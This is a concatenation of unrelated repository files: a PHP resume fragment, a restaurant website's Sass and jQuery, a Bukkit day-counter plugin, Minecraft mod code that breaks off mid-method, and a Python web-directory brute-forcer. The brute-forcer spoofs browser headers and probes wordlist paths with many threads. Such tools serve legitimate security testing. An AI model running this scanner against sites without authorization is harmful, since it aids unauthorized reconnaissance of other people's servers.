<h2 class="mb-5">Awards & Certifications</h2>
<ul class="fa-ul mb-0">
<?php foreach($AWZ as $awzItem): ?>
<?php
$className = 'fa fa-trophy';
$classColor = 'orange';
if($awzItem['type'] != 'award'){
$className = 'fa fa-certificate';
$classColor = 'red';
}
?>
<li>
<i style="color: <?=$classColor;?> !important;" class="fa-li fa <?=$className;?> text-warning"></i>
<?=$awzItem['tile'];?>
</li>
<?php endforeach; ?>
</ul>
</div>
</section>
</div>
<!-- Bootstrap core JS-->
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.bundle.min.js"></script>
<!-- Third party plugin JS-->
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery-easing/1.4.1/jquery.easing.min.js"></script>
<!-- Core theme JS-->
<script src="js/scripts.js"></script>
</body>
</html>
|
faeedcbed6802cf6c172e907133bb5ab98e9382f
|
[
"Markdown",
"PHP"
] | 3 |
Markdown
|
azeinali/azeinali.github.io
|
765c1a438d5773f49f37e91925c00f3d8dc8fb3b
|
42af69c843fd9342a83274408023e908cbdadc9b
|
refs/heads/master
|
<file_sep>import pathlib
import argparse
import time
import requests
import uuid
from datetime import datetime
from fake_headers import Headers
import concurrent.futures as cf
def args_parser():
parser = argparse.ArgumentParser()
parser.add_argument(
"-u",
"--url",
help="The url to bruteforce",
type=str,
required=True
)
parser.add_argument(
"-w",
"--wordlist",
help="The wordlist to use",
type=str,
required=True
)
parser.add_argument(
"-t",
"--threads",
help="The number of concurrent threads to use",
type=int,
required=False,
default=10
)
args = parser.parse_args()
return args
def fetch(url, session, log_file):
fake_header = Headers(headers=False).generate()
try:
with session.get(url, headers=fake_header) as response:
status = response.status_code
if status < 400:
print(f"+ [+] Found: {url.strip()} (Status: {status})")
return True
except requests.exceptions.RequestException as e:
print(f"+ [!] An exception occurred: See log file... [!]")
with log_file.open(mode="a") as f:
f.write(str(e)+"\n")
def count_wordlist_len(wordlist):
with wordlist.open(mode="r") as f:
wordlist_len = f.readlines()
return len(wordlist_len)
def main():
start = datetime.now().strftime("%d/%m/%Y - %H:%M:%S")
ts = time.perf_counter()
args = args_parser()
wordlist = pathlib.Path(args.wordlist).resolve()
wordlist_len = count_wordlist_len(wordlist)
urls = (f"{args.url}/{url}" for url in wordlist.open(mode="r"))
urls_found = 0
log_filename = str(uuid.uuid4())
log_file = pathlib.Path(f"{log_filename}.log").resolve()
print("+"+"-"*50+"+")
print(f"+ [*] Started at {start}")
print("+"+"-"*50+"+")
print(f"+ [*] Url: {args.url}")
print(f"+ [*] Wordlist: {args.wordlist}")
print(f"+ [*] {wordlist_len} words in wordlist")
print(f"+ [*] Threads: {args.threads}")
print("+"+"-"*50+"+")
with requests.Session() as session:
with cf.ThreadPoolExecutor(max_workers=args.threads) as executor:
try:
tasks = [executor.submit(
fetch, url, session, log_file) for url in urls]
for task in cf.as_completed(tasks):
result = task.result()
if result:
urls_found += 1
except KeyboardInterrupt:
print(f"\n+ [!] Keyboard interrupt detected, exiting... [!]")
pass
end = datetime.now().strftime("%d/%m/%Y - %H:%M:%S")
te = time.perf_counter()
print("+"+"-"*50+"+")
print(f"+ [*] Finished at {end}")
print(f"+ [*] Found {urls_found} urls in {round(te-ts,2)} seconds")
print("+"+"-"*50+"+")
if __name__ == "__main__":
main()
<file_sep>beautifulsoup4==4.9.3
bs4==0.0.1
certifi==2020.11.8
chardet==3.0.4
fake-headers==1.0.2
html5lib==1.1
idna==2.10
requests==2.25.0
six==1.15.0
soupsieve==2.0.1
toml==0.10.2
urllib3==1.26.2
webencodings==0.5.1
<file_sep># WebDirEnum
Simple multithreaded tool to bruteforce web directories.
## Installation
Install requirements with pip.
```
pip install -r requirements.txt
```
## Arguments
|Flags|Args |Description |
|-----|-------------|----------------------------------------------------|
|-u |--url |The url to bruteforce (must provide http schema) |
|-w |--wordlist |The wordlist to use |
|-t |--threads |The number of concurrent threads to use (Default 20)|
## Usage
```
python webdirenum.py -u http://example.com -w wordlist.txt -t 30
```
|
de0402c5a3186b9a6b9c5cdd0415db56fbea75a2
|
[
"Markdown",
"Text",
"Python"
] | 3 |
Markdown
|
luisfilipefa/web-dir-enum
|
b3707714f48e2aa14c2156c268b0bba405899858
|
7a15d3a6c7b602bf35922616f8abd15abe095763
|
refs/heads/master
|
<repo_name>Dafaqtx/veggie<file_sep>/app/sass/main.sass
@import "libs"
@import "vars"
*
-webkit-box-sizing: border-box
-moz-box-sizing: border-box
box-sizing: border-box
&:before, &:after
-webkit-box-sizing: border-box
-moz-box-sizing: border-box
box-sizing: border-box
*::-webkit-input-placeholder
color: #666
opacity: 1
*:-moz-placeholder
color: #666
opacity: 1
*::-moz-placeholder
color: #666
opacity: 1
*:-ms-input-placeholder
color: #666
opacity: 1
html, body
height: 100%
font-family: 'Merriweather', serif;
margin: 0
padding: 0
body
font-size: 16px
min-width: 320px
position: relative
line-height: 1.65
overflow-x: hidden
/* header */
.header--wrapper
max-width: 1550px
margin: auto
position: relative
.header
background: url('../img/header/header-bg.jpg') no-repeat
height: 100vh
&__menu
display: flex
flex-wrap: wrap
justify-content: space-between
max-width: 560px
width: 100%
margin-left: auto
align-items: center
padding-top: 50px
&__link
display: block
text-decoration: none
color: $text
font-size: 18px
font-weight: 400
padding: 5px 25px
border: 1px solid transparent
transition: all .3s ease
&:hover
border: 1px solid $text
transition: all .3s ease
&__burger
display: none
&__title--wrapper
max-width: 530px
margin-left: auto
height: calc(100vh - 100px);
display: flex;
flex-wrap: wrap
align-items: center;
&__title
color: $text
font-size: 40px
font-weight: 300
line-height: 55px
text-align: center
position: relative
margin: 0
&::after
content: ''
position: absolute
bottom: -60px
left: 140px
width: 253px
height: 33px
background: url('../img/header/decor.png')
&:first-letter
letter-spacing: -0.74px
/* offer */
.offer
background: url('../img/offer/offer-bg.jpg') center center / cover repeat-x
padding: 35px 0 35px 0
&--wrapper
max-width: 1490px
margin: auto
position: relative
display: flex
justify-content: space-between
flex-wrap: wrap
&__item
text-align: center
&__name
color: $text
font-size: 18px
font-weight: 700
line-height: 30px
text-transform: uppercase
margin: 30px 0
&__desc
max-width: 390px
color: $text
font-size: 16px
font-weight: 300
line-height: 18px
/* specials */
.specials
padding: 80px 0 100px 0
&__title
max-width: 400px
margin: auto
color: $text
font-size: 40px
font-weight: 300
line-height: 55px
text-align: center
position: relative
&:first-letter
letter-spacing: -0.74px
&::after
content: ''
position: absolute
bottom: -60px
left: 70px
width: 253px
height: 33px
background: url('../img/header/decor.png')
&--wrapper
max-width: 1490px
margin: 110px auto 0 auto
position: relative
&__row
display: flex
flex-wrap: wrap
&--odd
.specials__item
flex-direction: row
&--even
.specials__item
flex-direction: row-reverse
&__item
display: flex
flex-wrap: wrap
max-width: 496px
width: 100%
&__img
width: 50%
max-height: 248px
&__info
display: flex
flex-wrap: wrap
flex-direction: column
justify-content: center
align-items: center
text-align: center
width: 50%
max-height: 248px;
background-color: #ebebeb
&__name
height: 16px
color: $text
font-size: 18px
font-weight: 700
line-height: 30px
position: relative
margin-bottom: 30px
&::after
content: ''
position: absolute
width: 88px
height: 1px
background-color: $text
bottom: -18px
left: 10%
&__desc
color: $text
font-size: 16px
font-weight: 300
line-height: 18px
margin-bottom: 5px
&__price
color: $text
font-size: 18px
font-weight: 700
line-height: 30px
letter-spacing: -0.36px
/* about */
.about
background: url('../img/about/about-bg.jpg')
height: 100vh
&--wrapper
max-width: 1490px;
margin: auto;
position: relative;
height: 100%;
display: flex;
align-items: center;
justify-content: start;
&__info
max-width: 610px
width: 100%
&__title
text-align: center
color: $text
font-size: 40px
font-weight: 300
line-height: 55px
position: relative
&::after
content: ''
position: absolute
bottom: -50px
left: 180px
width: 253px
height: 33px
background: url('../img/header/decor.png')
&__text
color: $text
font-size: 30px
font-weight: 300
line-height: 54px
text-align: center
margin-top: 90px
&__signature
margin-top: 45px
text-align: right
/* menu */
.menu
margin-top: 50px
&__title
max-width: 120px
margin: auto
color: $text
font-size: 40px
font-weight: 300
line-height: 55px
position: relative
&::after
content: ''
position: absolute
bottom: -50px
left: -70px
width: 253px
height: 33px
background: url('../img/header/decor.png')
&--wrapper
max-width: 1490px;
margin: auto;
position: relative;
&__tabs
margin: 90px 0 40px 0
&__list
max-width: 540px
width: 100%
margin: 0 auto 80px auto
padding: 0
display: flex
justify-content: space-between
flex-wrap: wrap
list-style: none
&__type
color: #3c3c3c
font-size: 18px
font-weight: 400
padding: 5px 25px
transition: all .3s ease
border: 1px solid transparent
cursor: pointer
&__type.active
border: 1px solid $text
transition: all .3s ease
&:hover
border: 1px solid $text
transition: all .3s ease
&__content
display: none
&__content.active
display: flex
flex-wrap: wrap
justify-content: space-between
&__left,
&__right
max-width: 650px
width: 100%
&__item
width: 100%
margin-bottom: 35px
&__name
width: 100%
color: $text
font-size: 18px
font-weight: 300
text-transform: uppercase
&__composition
color: $text
font-size: 14px
font-style: italic
font-weight: 400
/* footer */
.footer
background: url('../img/footer/footer-bg.jpg') 100% / cover no-repeat
height: 100vh
padding: 70px 0 30px 0
position: relative
&--wrapper
max-width: 1490px;
margin: auto
position: relative
&__right
margin-left: auto
max-width: 580px
width: 100%
&__title
max-width: 150px
margin: auto
color: $text
font-size: 40px
font-weight: 300
line-height: 55px
position: relative
&::after
content: ''
position: absolute
bottom: -50px
left: -50px
width: 253px
height: 33px
background: url('../img/header/decor.png')
&__info
display: flex
flex-wrap: wrap
justify-content: space-between
margin-top: 100px
&__name
color: $text
font-size: 18px
font-weight: 400
text-transform: uppercase
margin: 0 0 10px 0
&__sub-name
color: $text
font-size: 16px
font-weight: 400
line-height: 24px
&__form
margin-top: 100px
&__caption
color: $text
font-size: 18px
font-weight: 400
text-transform: uppercase
&__field
background: transparent
height: 33px
border: none
border-bottom: 1px solid black
font-size: 18px
color: $text
font-weight: 300
padding: 0
&:focus
outline: none
&::placeholder
color: transparent
transition: all .3s ease
&::placeholder
color: $text
font-size: 18px
font-style: italic
font-weight: 300
transition: all .3s ease
padding-left: 20px
&__field--name
margin-right: 58px
&__field--name,
&__field--email
max-width: 254px
width: 100%
&__field--message
display: block;
width: 571px
max-width: 570px
resize: none
margin-top: 70px
&__btn
color: #3c3c3c;
font-size: 18px;
font-weight: 400;
padding: 10px 25px;
background: transparent
transition: all .3s ease;
cursor: pointer;
border: 1px solid #3c3c3c;
margin: 50px auto 0 auto
display: block
&:hover
background-color: $text
color: #ffffff
&__social
display: flex
justify-content: space-between
max-width: 114px
width: 100%
margin: 150px 0 0 auto
.up
opacity: 0
position: fixed
right: 50px
bottom: 60px
width: 50px
height: 50px
padding: 10px
color: $text
background: #ffffff
border: 1px solid $text
transition: all .3s ease
img
max-width: 100%
width: 100%
@import "media"
<file_sep>/readme.md
<h1>Veggie - vegetarian restaurant</h1><file_sep>/app/js/common.js
$('a[href^="#"], a[href^="."]').click(function () {
var scroll_el = $(this).attr('href');
if ($(scroll_el).length != 0) {
$('html, body').animate({ scrollTop: $(scroll_el).offset().top }, 700);
}
return false;
});
(function ($) {
$(function () {
$('ul.menu__list').on('click', 'li:not(.active)', function () {
$(this)
.addClass('active').siblings().removeClass('active')
.closest('.menu__tabs').find('div.menu__content').removeClass('active').eq($(this).index()).addClass('active');
});
});
})(jQuery);
$(window).scroll(function () {
if ($(this).scrollTop() >= 700) {
$('a.up').css('opacity', '1');
} else {
$('a.up').css('opacity', '0')
}
})
$('.header__burger').on('click', function() {
$(this).toggleClass('header__burger--active');
$('.header__menu').toggleClass('header__menu--open');
})
<file_sep>/dist/img/footer/desktop.ini
[LocalizedFileNames]
ins.png=@ins.png,0
<file_sep>/app/sass/_vars.sass
$text: #3c3c3c<file_sep>/app/sass/_media.sass
@import "vars"
/*========== Desktop First ==========*/
/* Large Devices, Wide Screens */
@media only screen and (max-width : 1465px)
.specials__row
display: block
.specials__item
margin: auto
.menu__left,
.menu__right
margin: auto
.menu__content
padding: 0 15px
@media only screen and (max-width : 1270px)
.header__title,
.header__link
color: #ffffff
@media only screen and (max-width : 1160px)
.offer--wrapper
display: block
.offer__desc
margin: 0 auto 50px auto
.about__info,
.footer__right
margin: auto
/* Medium Devices, Desktops */
@media only screen and (max-width : 992px)
.up
left: 10px
bottom: 10px
.about,
.footer
height: auto
/* Small Devices, Tablets */
@media only screen and (max-width : 768px)
.about__text
font-size: 26px
.header__burger
display: flex
align-items: center
flex-direction: column
justify-content: space-around
width: 35px
height: 35px
position: absolute
right: 15px
top: 15px
cursor: pointer
& span
position: relative
width: 100%
height: 3px
background: $text
display: block
transition: all .3s ease
cursor: pointer
.header__burger--active
z-index: 101
& span:nth-child(1)
transform-origin: top right
transform: rotate(-45deg) translate(1px)
transition: all .3s ease
background: #ffffff
& span:nth-child(2)
height: 0
transform: translateX(-50%)
transition: all .3s ease
background: #ffffff
& span:nth-child(3)
transform-origin: bottom right
transform: rotate(45deg) translate(1px)
transition: all .3s ease
background: #ffffff
.header__menu
transform: translateX(-150%)
transition: all .3s ease
display: block
position: absolute
background: $text
width: 100%
max-width: 100%
height: 100vh
z-index: 100
.header__menu--open
transform: translateX(0%)
transition: all .3s ease
.header__title--wrapper
margin: auto
@media only screen and (max-width : 620px)
.footer__field
max-width: 100%
margin: 0
margin-bottom: 30px
.footer__form
padding: 0 15px
.menu__list
display: block
.menu__item
text-align: center
.menu__type
width: 200px
margin: 15px auto
.menu__name
word-wrap: break-word;
.footer__info
padding: 0 15px
/* Extra Small Devices, Phones */
@media only screen and (max-width : 480px)
.specials__item
display: block
.specials__img
margin: auto
width: 100%
& img
margin: auto
width: 248px
height: 248px
display: block
.specials__info
margin: auto
height: 248px
width: 248px
.header__title,
.specials__title,
.about__title,
.menu__title,
.footer__title
&::after
content: none
/* Custom, iPhone Retina */
@media only screen and (max-width : 320px)
/**/
/*========== Mobile First ==========*/
/* Custom, iPhone Retina */
@media only screen and (min-width : 320px)
/**/
/* Extra Small Devices, Phones */
@media only screen and (min-width : 480px)
/**/
/* Small Devices, Tablets */
@media only screen and (min-width : 768px)
/**/
/* Medium Devices, Desktops */
@media only screen and (min-width : 992px)
/**/
/* Large Devices, Wide Screens */
@media only screen and (min-width : 1200px)
/**/
|
0ce9642f9f6b0c0876d987911fda7525acb89e09
|
[
"Markdown",
"Sass",
"JavaScript",
"INI"
] | 6 |
Markdown
|
Dafaqtx/veggie
|
8badde642b7ed0c310a535cf8e99962dd8c89123
|
585c1cde5568fa1b85b19f8bb2466c5e280a5b97
|
refs/heads/master
|
<file_sep>package net.boreeas.lively.runeforge.runes;
import com.google.common.cache.Cache;
import com.google.common.cache.CacheBuilder;
import net.boreeas.lively.runeforge.Effect;
import net.boreeas.lively.runeforge.EffectZone;
import net.boreeas.lively.runeforge.Rune;
import net.boreeas.lively.runeforge.RuneZone;
import net.boreeas.lively.util.GlobalCoord;
import net.minecraft.entity.Entity;
import net.minecraft.entity.player.EntityPlayerMP;
import net.minecraft.network.play.server.S12PacketEntityVelocity;
import org.jetbrains.annotations.NotNull;
import java.util.Collections;
import java.util.Set;
import java.util.concurrent.TimeUnit;
/**
* @author <NAME>
*/
public class RuneContain extends Rune {
public RuneContain() {
super("contain", " +++ ",
"+ +",
"+ +",
"+ +",
" +++ ");
}
@NotNull
@Override
public Effect makeEffect(@NotNull RuneZone zone) {
return new EffectContain(zone);
}
@NotNull
@Override
public Effect makeEffect(@NotNull RuneZone zone, @NotNull EffectZone associatedEffectZone) {
return new EffectContain(zone, associatedEffectZone);
}
@NotNull
@Override
public Effect makeEffect(@NotNull RuneZone zone, @NotNull Effect modTarget) {
return new EffectContain(zone, modTarget);
}
public static class EffectContain extends Effect {
Cache<Entity, GlobalCoord> cachedPos = CacheBuilder.newBuilder().expireAfterAccess(4, TimeUnit.SECONDS).build();
public EffectContain(@NotNull RuneZone associatedRuneZone, @NotNull EffectZone effectZone) {
super(associatedRuneZone, effectZone);
}
public EffectContain(@NotNull RuneZone assosciatedRune) {
super(assosciatedRune);
}
public EffectContain(@NotNull RuneZone associatedRuneZone, @NotNull Effect modTarget) {
super(associatedRuneZone, modTarget);
}
@Override
public Set<EffectTarget> getEffectTargets() {
return Collections.singleton(EffectTarget.ENTITY);
}
@Override
public boolean applyToEntity(@NotNull Entity entity, int effectStrength) {
if (super.applyToEntity(entity, effectStrength)) return true;
if (isDisabledByFilter(entity)) return false;
if (!getEffectZone().isPresent()) return false;
if (isNegated()) {
exclude(entity, effectStrength);
} else {
contain(entity, effectStrength);
}
return true;
}
private void contain(Entity entity, int effectStrength) {
GlobalCoord center = getEffectZone().get().getCoords();
int radius = getEffectZone().get().getRadius();
double dx = entity.posX - center.getX();
double dz = entity.posZ - center.getZ();
double distSq = dx*dx + dz*dz;
int radSq = radius * radius;
if (distSq < (radSq - 4*radius - 4)) return;
double pushStrength = (1-(radSq-distSq)) / (radSq - distSq + 0.001);
pushStrength = Math.max(Math.min(pushStrength, 1), -1);
entity.motionX += pushStrength * dx / (Math.abs(dx) + Math.abs(dz));
entity.motionZ += pushStrength * dz / (Math.abs(dx) + Math.abs(dz));
if (entity instanceof EntityPlayerMP) {
S12PacketEntityVelocity packet = new S12PacketEntityVelocity(entity.getEntityId(), entity.motionX, 0, entity.motionZ);
((EntityPlayerMP) entity).playerNetServerHandler.sendPacket(packet);
}
}
private void exclude(Entity entity, int effectStrength) {
GlobalCoord center = getEffectZone().get().getCoords();
double dx = entity.posX - center.getX();
double dz = entity.posZ - center.getZ();
double dist = Math.sqrt(dx*dx + dz*dz);
int effectRadius = getEffectZone().get().getRadius();
double pushStrength = (effectRadius - dist) / (0.001 + dist);
pushStrength = Math.min(pushStrength, 2 * effectStrength);
entity.motionX += pushStrength * dx / (Math.abs(dx) + Math.abs(dz));
entity.motionZ += pushStrength * dz / (Math.abs(dx) + Math.abs(dz));
if (entity instanceof EntityPlayerMP) {
S12PacketEntityVelocity packet = new S12PacketEntityVelocity(entity.getEntityId(), entity.motionX, 0, entity.motionZ);
((EntityPlayerMP) entity).playerNetServerHandler.sendPacket(packet);
}
}
}
}
<file_sep>package net.boreeas.lively.streams;
import net.minecraft.block.ITileEntityProvider;
import net.minecraft.block.material.Material;
import net.minecraft.init.Blocks;
import net.minecraft.tileentity.TileEntity;
import net.minecraft.world.IBlockAccess;
import net.minecraft.world.World;
import net.minecraftforge.fluids.BlockFluidBase;
import net.minecraftforge.fluids.Fluid;
import net.minecraftforge.fluids.FluidStack;
import org.jetbrains.annotations.NotNull;
import org.jetbrains.annotations.Nullable;
import java.util.Random;
/**
* @author <NAME>
*/
public class StreamBlock extends BlockFluidBase implements ITileEntityProvider {
private static final int FLAG_UPDATE_CLIENTS = 2;
@NotNull public static final String NAME = "blockStreamSource";
public StreamBlock(@NotNull Fluid fluid, @NotNull Material material) {
super(fluid, material);
super.setDensity(500);
}
@Override
public boolean canDisplace(@NotNull IBlockAccess world, int x, int y, int z) {
return world.getBlock(x, y, z) != Blocks.water && super.canDisplace(world, x, y, z);
}
@Override
public int getQuantaValue(@NotNull IBlockAccess world, int x, int y, int z) {
if (world.getBlock(x, y, z) == Blocks.air) {
return 0;
}
if (world.getBlock(x, y, z) != this) {
return -1;
}
return world.getBlockMetadata(x, y, z);
}
@Override
public boolean canCollideCheck(int meta, boolean fullHit) {
return fullHit;
}
@Override
public int getMaxRenderHeightMeta() {
return 0;
}
@Nullable
@Override
public FluidStack drain(@NotNull World world, int x, int y, int z, boolean doDrain) {
world.setBlockMetadataWithNotify(x, y, z, 0, FLAG_UPDATE_CLIENTS);
return null;
}
@Override
public boolean canDrain(@NotNull World world, int x, int y, int z) {
return world.getBlock(x, y, z) == this;
}
@Override
public void updateTick(@NotNull World world, int x, int y, int z, Random rand) {
}
@NotNull
@Override
public TileEntity createNewTileEntity(@NotNull World p_149915_1_, int p_149915_2_) {
return new StreamFlowTileEntity();
}
@Override
public boolean hasTileEntity(int metadata) {
return true;
}
}
<file_sep>package net.boreeas.daycount;
import org.bukkit.plugin.java.JavaPlugin;
import java.util.concurrent.Executors;
import java.util.concurrent.ScheduledExecutorService;
import java.util.concurrent.TimeUnit;
/**
* @author <NAME>
*/
public class Daycount extends JavaPlugin {
ScheduledExecutorService thread;
@Override
public void onEnable() {
thread = Executors.newScheduledThreadPool(1);
thread.scheduleAtFixedRate(new Runnable() {
int lastDay = 0;
@Override
public void run() {
int day = (int) (((getServer().getWorlds().get(0).getFullTime() + 1000) // Adjust to hit actual sunrise
/ 1000) / 24);
if (day != lastDay) {
update(day + 1);
lastDay = day;
}
}
}, 0, 1, TimeUnit.SECONDS);
getLogger().info("[Daycount] Enabled");
}
private void update(int day) {
/*
getServer().dispatchCommand(getServer().getConsoleSender(),
"title @a title {text:\"Dawn\",bold:true}"
);
getServer().dispatchCommand(getServer().getConsoleSender(),
"title @a subtitle {text:\"of the " + dayify(day + 1) + " day\",italic:true,color:gray}");
*/
getServer().dispatchCommand(getServer().getConsoleSender(),
"title @a title {text:\"Day " + day + "\"}");
}
// 1 => 1st
// 2 => 2nd
// 3 => 3rd
// 4 => 4th
private String dayify(int day) {
if (day % 10 == 1) {
return day + "st";
} else if (day % 10 == 2) {
return day + "snd";
} else if (day % 10 == 3) {
return day + "rd";
}
return day + "th";
}
@Override
public void onDisable() {
thread.shutdownNow();
getLogger().info("[Daycount] Disabled");
}
}
<file_sep>package net.boreeas.lively.runeforge.messages;
import cpw.mods.fml.common.network.simpleimpl.IMessage;
import io.netty.buffer.ByteBuf;
import net.boreeas.lively.util.Vec3Int;
import org.jetbrains.annotations.NotNull;
import java.util.HashSet;
import java.util.Set;
/**
* Initial list of things that need to be rendered, sent on connect
* @author <NAME>
*/
public class RenderList implements IMessage {
private Set<Vec3Int> activeLightRuneLocations;
public RenderList() {
this.activeLightRuneLocations = new HashSet<>();
}
public RenderList(@NotNull Set<Vec3Int> activeLightRuneLocations) {
this.activeLightRuneLocations = activeLightRuneLocations;
}
@Override
public void fromBytes(ByteBuf byteBuf) {
int numLocations = byteBuf.readInt();
for (int i = 0; i < numLocations; i++) {
activeLightRuneLocations.add(new Vec3Int(byteBuf));
}
}
@Override
public void toBytes(ByteBuf byteBuf) {
byteBuf.writeInt(activeLightRuneLocations.size());
activeLightRuneLocations.forEach(vec -> vec.serialize(byteBuf));
}
public @NotNull Set<Vec3Int> getActiveLightRuneLocations() {
return activeLightRuneLocations;
}
}
<file_sep>buildscript {
repositories {
mavenCentral()
maven {
name = "forge"
url = "http://files.minecraftforge.net/maven"
}
maven {
name = "sonatype"
url = "https://oss.sonatype.org/content/repositories/snapshots/"
}
}
dependencies {
classpath 'net.minecraftforge.gradle:ForgeGradle:1.2-SNAPSHOT'
}
}
apply plugin: 'forge'
apply plugin: 'java'
sourceCompatibility='1.8'
targetCompatibility='1.8'
version = "0.1-SNAPSHOT-3"
group= "net.boreeas.lively" // http://maven.apache.org/guides/mini/guide-naming-conventions.html
archivesBaseName = "lively"
idea.module.inheritOutputDirs = true
minecraft {
version = "1.7.10-10.13.4.1448-1.7.10"
runDir = "eclipse"
}
dependencies {
// you may put jars on which you depend on in ./libs
// or you may define them like so..
//compile "some.group:artifact:version:classifier"
//compile "some.group:artifact:version"
// real examples
//compile 'com.mod-buildcraft:buildcraft:6.0.8:dev' // adds buildcraft to the dev env
//compile 'com.googlecode.efficient-java-matrix-library:ejml:0.24' // adds ejml to the dev env
// for more info...
// http://www.gradle.org/docs/current/userguide/artifact_dependencies_tutorial.html
// http://www.gradle.org/docs/current/userguide/dependency_management.html
testCompile group: 'junit', name: 'junit', version: '4.11'
// compile group: 'org.jetbrains', name: 'annotations', version: '12.0'
compile 'com.intellij:annotations:12.0'
compile files {
// 'eclipse/mods/codechickencore-dev.jar.disabled'
//'eclipse/mods/nei-dev.jar.disabled'
}
}
processResources
{
// this will ensure that this task is redone when the versions change.
inputs.property "version", project.version
inputs.property "mcversion", project.minecraft.version
// replace stuff in mcmod.info, nothing else
from(sourceSets.main.resources.srcDirs) {
include 'mcmod.info'
// replace version and mcversion
expand 'version':project.version, 'mcversion':project.minecraft.version
}
// copy everything else, thats not the mcmod.info
from(sourceSets.main.resources.srcDirs) {
exclude 'mcmod.info'
}
}
task createDevJar(type: Jar) {
from sourceSets.main.output
classifier = 'deobf'
}<file_sep>package net.boreeas.lively.util;
import com.google.common.cache.CacheLoader;
import java.util.HashSet;
import java.util.Set;
/**
* @author <NAME>
*/
public class SetCacheLoader<T2> extends CacheLoader<GlobalCoord, Set<T2>> {
@Override
public Set<T2> load(GlobalCoord _) throws Exception {
return new HashSet<>();
}
}
<file_sep>package net.boreeas.lively.runeforge.runes;
import net.boreeas.lively.runeforge.Effect;
import net.boreeas.lively.runeforge.EffectZone;
import net.boreeas.lively.runeforge.Rune;
import net.boreeas.lively.runeforge.RuneZone;
import org.jetbrains.annotations.NotNull;
import java.util.Collections;
import java.util.Set;
/**
* @author <NAME>
*/
public class RuneNot extends Rune {
public RuneNot() {
super("not", " + ",
" ",
"+++++++");
}
@NotNull
@Override
public Effect makeEffect(@NotNull RuneZone zone) {
return new NegateEffect(zone);
}
@NotNull
@Override
public Effect makeEffect(@NotNull RuneZone zone, @NotNull EffectZone associatedEffectZone) {
return new NegateEffect(zone, associatedEffectZone);
}
@NotNull
@Override
public Effect makeEffect(@NotNull RuneZone zone, @NotNull Effect modTarget) {
return new NegateEffect(zone, modTarget);
}
public static class NegateEffect extends Effect {
public NegateEffect(@NotNull RuneZone assosciatedRune) {
super(assosciatedRune);
}
public NegateEffect(@NotNull RuneZone associatedRuneZone, @NotNull EffectZone effectZone) {
super(associatedRuneZone, effectZone);
}
public NegateEffect(@NotNull RuneZone associatedRuneZone, @NotNull Effect modTarget) {
super(associatedRuneZone, modTarget);
modTarget.flipNegated();
}
@Override
public Set<EffectTarget> getEffectTargets() {
return Collections.emptySet();
}
@Override
public void unmodify(@NotNull Effect effect) {
effect.flipNegated();
}
@Override
public void flipNegated() {
super.flipNegated();
getModTarget().ifPresent(Effect::flipNegated);
}
}
}
<file_sep>package net.boreeas.lively.streams;
import net.boreeas.lively.Lively;
import net.boreeas.lively.util.Direction;
import net.minecraft.block.Block;
import net.minecraft.entity.item.EntityItem;
import net.minecraft.init.Blocks;
import net.minecraft.item.ItemStack;
import net.minecraft.tileentity.TileEntity;
import org.jetbrains.annotations.NotNull;
import java.util.*;
/**
* Rule-based system for distributing finite water. The following rules are applied in order:
*
* <ol>
* <li>
* If the block below has space for water, send as much water as possible. If the depth of the lower block
* is equal to or lower than the current depth, set the depth of the lower block to current depth + 1.
* </li>
* <li>
* If any of the adjacent four blocks has less water than this block, average the water level in both blocks.
* If the depth of the adjacent block is lower than the current depth, set the depth of the adjacent block
* to current depth.
* </li>
* <li>
* If the current depth is greater or equal to 1, and the block above has space for water, and the current block
* if full, send a fraction of water upwards. If the depth of the upper block is lower than current depth - 1,
* set the depth of the upper block to current depth - 1.
* </li>
* <li>
* If none of the above rules applied, evaporate a fraction of water in the current block.
* </li>
* </ol>
*
* @author <NAME>
*/
public class StreamFlowTileEntity extends TileEntity {
public static final String NAME = "tileEntityStreamFlow";
/**
* Optimal pressure at this amount
*/
public static final int NOMINAL_WATER = 1000;
/**
* Maximum water in a block in mB
*/
public static final int MAX_WATER = NOMINAL_WATER * 2;
private static final int ROUNDS = 5;
private static final int MAX_PASSIVE_UPDATES = 3;
/**
* Blocks that can be removed when trying to flow there
*/
public static final Set<Block> displacableBlocks = new HashSet<>(Arrays.asList(
Blocks.air,
Blocks.red_flower,
Blocks.yellow_flower,
Blocks.tallgrass,
Blocks.snow_layer,
Blocks.flower_pot,
Blocks.brown_mushroom,
Blocks.cake,
Blocks.carrots,
Blocks.cocoa,
Blocks.deadbush,
Blocks.double_plant,
Blocks.melon_stem,
Blocks.nether_wart,
Blocks.pumpkin_stem,
Blocks.potatoes,
Blocks.rail,
Blocks.red_flower,
Blocks.red_mushroom,
Blocks.redstone_torch,
Blocks.redstone_wire,
Blocks.reeds,
Blocks.unlit_redstone_torch,
Blocks.sapling,
Blocks.torch,
Blocks.vine,
Blocks.web,
Blocks.wheat
));
/**
* Blocks that absorb incoming water
*/
public static final Set<Block> absorbingBlocks = Collections.unmodifiableSet(new HashSet<>(Arrays.asList(
Blocks.water,
Blocks.flowing_water,
Blocks.sponge
)));
private static final long UPDATE_TIME_TICKS = 5;
private static final int LOSS = (int) (0.02 * MAX_WATER); // 2%
private int waterInBlock = 1000;
private boolean isInfinite = false;
private int depth = 0;
@NotNull
private final Set<StreamFlowTileEntity> parents = new HashSet<>();
private int passiveUpdates;
@Override
public void updateEntity() {
if (worldObj.getTotalWorldTime() % UPDATE_TIME_TICKS != 0) return;
if (canFlowDown()) {
flowDown();
}
Set<Direction> possibleLateralDirections = getPossibleLateralDirections();
if (!possibleLateralDirections.isEmpty()) {
flowLaterally(possibleLateralDirections);
}
if (canFlowUp()) {
flowUp();
}
if (waterInBlock < NOMINAL_WATER) {
addWaterInBlock(request(NOMINAL_WATER - waterInBlock));
}
if (passiveUpdates++ >= MAX_PASSIVE_UPDATES) {
addWaterInBlock(-LOSS);
}
checkForDry();
}
private void checkForDry() {
if (waterInBlock == 0) {
worldObj.setBlock(xCoord, yCoord, zCoord, Blocks.air);
for (Direction direction: Direction.values()) {
getAdjStreamFlow(direction).onNeighborDriedOut(this);
}
}
}
private void onNeighborDriedOut(StreamFlowTileEntity flow) {
parents.remove(flow);
}
public int request(int amt) {
return request(amt, new HashSet<>());
}
private int request(int amt, @NotNull HashSet<StreamFlowTileEntity> blacklist) {
passiveUpdates = 0;
blacklist.add(this);
int accumulated = 0;
int polls = 0;
Set<StreamFlowTileEntity> open = new HashSet<>(parents);
